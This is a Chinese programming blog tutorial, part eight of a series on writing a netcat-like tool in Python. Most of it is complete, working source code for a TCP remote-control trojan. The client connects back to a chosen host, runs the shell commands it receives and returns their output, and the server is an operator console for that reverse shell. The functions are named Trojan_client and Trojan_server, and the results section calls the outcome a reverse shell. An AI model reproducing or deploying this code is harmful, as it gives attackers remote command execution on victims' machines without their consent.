用python写一个NC(八)

基于TCP连接的远程控制木马

一、subprocess模块

        subprocess模块允许我们启动一个新进程,并连接至它们的标准输入/输出/错误管道,从而获取返回值。

二、argparse模块

        argparse是python用于解析命令行参数和选项的标准模块,作用相当于是解析命令行参数。

        基本用法步骤

import argparse #导入模块
parse = argparse.ArgumentParser() #创建解析对象
parse.add_argument() #向对象中添加命令行参数和选项
parse.parse_args() #解析参数和选项

三、os模块

        os模块提供了多数操作系统的功能接口函数。当os模块被导入后,会自适应于不同的操作系统平台,根据不同的操作系统平台进行响应操作。例如下文所用的os.chdir(path)意为转到指定目录。

 完整代码

import socket
import os
import subprocess
import argparse

def Trojan_client(ip,port):
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建客户端socket
    client.connect((ip,int(port))) #建立连接
    while True:
        new_socket = client.recv(1024) #接收来至服务端的数据
        cmd = new_socket.decode() #对接收到的数据解码
        if cmd == 'exit': #接收到的数据若为exit则关闭连接并跳出循环
            client.close()
            break
        elif cmd.startswith('cd'): #判断接收到的数据是否以cd开头
            os.chdir(cmd[2:].strip()) #从第三个字符开始取值,首尾去空并执行目录切换函数
            client.sendall('[+] 目录切换成功'.encode()) #向服务端发送成功提示
        elif cmd.startswith('start'):
            os.system(cmd)
            client.sendall('[+] {}执行成功'.format(cmd).encode())
        else:
            data = subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True) #创建进程连接至标准输出/错误管道
            output = data.stdout.read().decode('gbk') #读取标准输出数据
            error = data.stderr.read().decode('gbk') #读取标准错误数据
            result = ''
            if output == '' and error == '':
                result = ''
            elif output != '':
                result = output
            elif error != '':
                result = error
            client.sendall(result.encode('utf8'))

def Trojan_server(ip,port):
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,True) #开启端口复用
    server.bind((ip,int(port)))
    while True:
        server.listen(128)
        print('start listen'.center(60,'='))
        client_socket,addr = server.accept()
        print(f'[+] {addr} online')
        while True:
            cmd = input('[+] CMD>')
            if cmd == '':
                continue
            elif cmd == 'exit':
                print(f'[-] {addr}断开连接')
                server.close()
            client_socket.sendall(cmd.encode())
            result = ''
            while True:       #接收客户端执行命令后返回的信息
                data = client_socket.recv(1024)
                result += data.decode('utf8','replace')
                if len(data) < 1024:
                    break
            print(result)

if __name__ == '__main__':
    parse = argparse.ArgumentParser(description='TCP REMOTE CONTROL TOOL')
    parse.add_argument('-r','--remote',dest='connect',help='client connect to server')
    parse.add_argument('-p','--port',dest='port',help='set port')
    parse.add_argument('-l','--listen',dest='listen',help='open a server to listening client')
    options = parse.parse_args()
    port = options.port
    if options.connect:
        ip = options.connect
        Trojan_client(ip,port)
    elif options.listen:
        ip = options.listen
        Trojan_server(ip,port)

测试结果

服务端反弹shell

 

客户端反向连接

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值